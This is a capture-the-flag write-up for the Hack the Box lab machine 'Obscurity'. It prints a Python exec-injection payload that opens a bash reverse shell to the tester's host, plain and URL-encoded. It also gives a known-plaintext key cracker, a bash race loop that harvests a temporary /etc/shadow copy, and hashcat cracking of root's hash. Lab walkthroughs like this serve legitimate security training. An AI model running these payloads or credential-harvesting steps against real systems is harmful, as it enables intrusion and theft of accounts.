Hack the Box: Obscurity
Hack the Box: Obscurity#
Obscurity was a medium difficulty machine on Hack the Box. Here’s my take on solving the challenge.

Obscurity
TLDR: There’s a custom webserver present on the machine. It also is possible to download server’s source code. There is a RCE vulnerability in the way server processes document path which can be exploited for a reverse shell. Then user password can be obtained by cracking simple encryption script. Privlege escalation can be done by exploiting vulnerability in custom SSH script which makes a temporary copy of /etc/shadow to /tmp folder revealing root’s password hash. Root’s password is weak and easly reversible.
Foothold#
Nmap scan reveals a non-standard HTTP server on the 8080 port:
# nmap -sS -sV -n -p- obscurity.htb -Pn
-- snip --
Index page reveals that there should be server’s source code in some “ secret” folder:

Unfortunately server doesn’t seem to have folder listing implemented (returns 404 for /js folder) . It means that it’s impossible to enum directories the standard way. It’s neccesary to search directly for SuperSecureServer.py . It can be done by appending the filename to the standard folder list:
# cp /usr/share/wordlists/dirb/common.txt .
# sed -e 's/$/\/SuperSecureServer.py/' -i common.txt
# dirb http://obscurity.htb:8080 common.txt
-- snip --
---- Scanning URL: http://obscurity.htb:8080/ ----
+ http://obscurity.htb:8080/develop/SuperSecureServer.py (CODE:200|SIZE:5892)
^C
After downloading and analyzing the SuperSecureServer.py it turns out that there is a code execution vulnerability in the way the script processes path form HTTP request:
def serveDoc(self, path, docRoot):
path = urllib.parse.unquote(path)
try:
info = "output = 'Document: {}'"
exec(info.format(path)) # Code execution vulnerability
Example payload that can be used to get a reverse shell:
/index.html'
__import__('os').system('/bin/bash -c \"bash -i >& /dev/tcp/10.10.14.70/443 0>&1\"')
a='a
After encoding it to URL format it can be pasted to a HTTP request:
%2Findex.html%27%0A__import__%28%27os%27%29.system%28%27%2Fbin%2Fbash%20-c%20%5C%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.14.70%2F443%200%3E%261%5C%22%27%29%0Aa%3D%27a
Sending the payload as document path to a server should yield a reverse shell.
# nc -nvlp 443
listening on [any] 443 ...
connect to [10.10.14.70] from (UNKNOWN) [10.10.10.168] 52024
www-data@obscure:/$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
User#
In the /home/robert there is a world readable file with a simple cipher script. It is similar to Ceasars cipher but the key can have multiple bytes (so the offsets are different for different bytes):
import sys
import argparse
def encrypt(text, key):
keylen = len(key)
keyPos = 0
encrypted = ""
for x in text:
keyChr = key[keyPos]
newChr = ord(x)
newChr = chr((newChr + ord(keyChr)) % 255)
encrypted += newChr
keyPos += 1
keyPos = keyPos % keylen
return encrypted
def decrypt(text, key):
keylen = len(key)
keyPos = 0
decrypted = ""
for x in text:
keyChr = key[keyPos]
newChr = ord(x)
newChr = chr((newChr - ord(keyChr)) % 255)
decrypted += newChr
keyPos += 1
keyPos = keyPos % keylen
return decrypted
On top of that there is a check.txt file that suggests that it was ciphered using above script to out.txt file. The files can be transfered to local machine to be further processed:
$ cat check.txt
Encrypting this file with your key should result in out.txt, make sure your key is correct!
robert@obscure:~$ xxd -p check.txt
456e6372797074696e6720746869732066696c65207769746820796f7572
206b65792073686f756c6420726573756c7420696e206f75742e7478742c
206d616b65207375726520796f7572206b657920697320636f7272656374
21200d0a
$ xxd -p out.txt
c2a6c39ac388c3aac39ac39ec398c39bc39dc39dc289c397c390c38ac39f
c285c39ec38ac39ac389c292c3a6c39fc39dc38bc288c39ac39bc39ac3aa
c281c399c389c3abc28fc3a9c391c392c39dc38dc390c285c3aac386c3a1
c399c39ec3a3c296c392c391c288c390c3a1c399c2a6c395c3a6c398c29e
c28fc3a3c38ac38ec38dc281c39fc39ac3aac386c28ec39dc3a1c3a4c3a8
c289c38ec38dc39ac28cc38ec3abc281c391c393c3a4c3a1c39bc38cc397
c289c28176
The files need to be recovered locally:
# echo "456e6372797074696e6720746869732066696c65207769746820796f7572 > 206b65792073686f756c6420726573756c7420696e206f75742e7478742c > 206d616b65207375726520796f7572206b657920697320636f7272656374 > 21200d0a" > check.hex # echo "c2a6c39ac388c3aac39ac39ec398c39bc39dc39dc289c397c390c38ac39f > c285c39ec38ac39ac389c292c3a6c39fc39dc38bc288c39ac39bc39ac3aa > c281c399c389c3abc28fc3a9c391c392c39dc38dc390c285c3aac386c3a1 > c399c39ec3a3c296c392c391c288c390c3a1c399c2a6c395c3a6c398c29e > c28fc3a3c38ac38ec38dc281c39fc39ac3aac386c28ec39dc3a1c3a4c3a8 > c289c38ec38dc39ac28cc38ec3abc281c391c393c3a4c3a1c39bc38cc397 > c289c28176" > out.hex # xxd -r -p check.hex check.txt # xxd -r -p out.hex out.txt
When there is available example of clean text and it’s ciphered version it is possible to calculate the key used to cipher it:
import sys
def crack(original, ciphered):
key=""
pos=0
for c in ciphered:
o=original[pos]
ordC=ord(c)
ordO=ord(o)
ord(c)
if ordC < ordO :
ordC + 255
keyChr=ordC-ordO
sys.stdout.write(chr(keyChr))
pos=pos+1
with open("out.txt", 'r', encoding='UTF-8',) as f:
ciphered = f.read()
print(len(ciphered))
with open("check.txt", "r", encoding="UTF-8") as f:
original = f.read()
print(len(original))
crack(original, ciphered)
Running the cracker reveals the key:
# python3 cracker.py
alexandrovichalexandrovichalexandrovichalexandrovichalexandrovichalexandrovichalexandrovichal
The key is “alexandrovich” . It is repeated because the key is looped when it’s shorter than ciphered text.
In /home/robert there’s also a file passwordreminder.txt. It can be decoded with just recovered key:
# python3 SuperSecureCrypt.py -i passwordreminder.txt -o passwordreminderdecoded.txt -k alexandrovich -d
-- snip --
Opening file passwordreminder.txt...
Decrypting...
Writing to passwordreminderdecoded.txt...
root@kali:/home/tellico/hackthebox/obscurity# cat passwordreminderdecoded.txt
SecThruObsFTW
With the password “ SecThruObsFTW” it is possible to SSH as robert user and grab a user flag:
# ssh robert@obscurity.htb
robert@obscurity.htb's password: SecThruObsFTW
-- snip --
robert@obscure:~$ cat user.txt
e44...
Privlege escalation#
In the /home/robert/BetterSSH folder there’s a script that is supposed to emulate(?) a SSH client. It can be exploited to reveal /etc/shadow content because it makes a temporary copy of this file in /tmp/SSH folder:
try:
session['user'] = input("Enter username: ")
passW = input("Enter password: ")
with open('/etc/shadow', 'r') as f:
data = f.readlines()
data = [(p.split(":") if "$" in p else None) for p in data]
passwords = []
for x in data:
if not x == None:
passwords.append(x)
passwordFile = '\n'.join(['\n'.join(p) for p in passwords])
with open('/tmp/SSH/'+path, 'w') as f:
f.write(passwordFile)
time.sleep(.1)
The time window before removing the temporary file is quite short but a bash script should be able to catch it’s content:
#!/bin/bash
FILES=/tmp/SSH/*
while :
do
for f in $FILES
do
cat $f
exit 0
done
done
Running the script in one terminal and BetterSSH in another should yield a password hash:
root $6$riekpK4m$uBdaAyK0j9WfMzvcSKYVfyEHGtBfnfpiVbYbzbVmfbneEbo0wSijW1GQussvJSk8X1M56kzgGj8f7DFN1h4dy1
The hash can be reversed using hashcat:
# hashcat64.exe hashes.txt -m 1800 -a 0 rockyou.txt
-- snip --
$6$riekpK4m$uBdaAyK0j9WfMzvcSKYVfyEHGtBfnfpiVbYbzbVmfbneEbo0wSijW1GQussvJSk8X1M56kzgGj8f7DFN1h4dy1:mercedes
All that’s left to do is to su as root using password mercedes and grab the flag:
$ su
Password: mercedes
root@obscure:/tmp# cd /root
root@obscure:~# cat root.txt
512...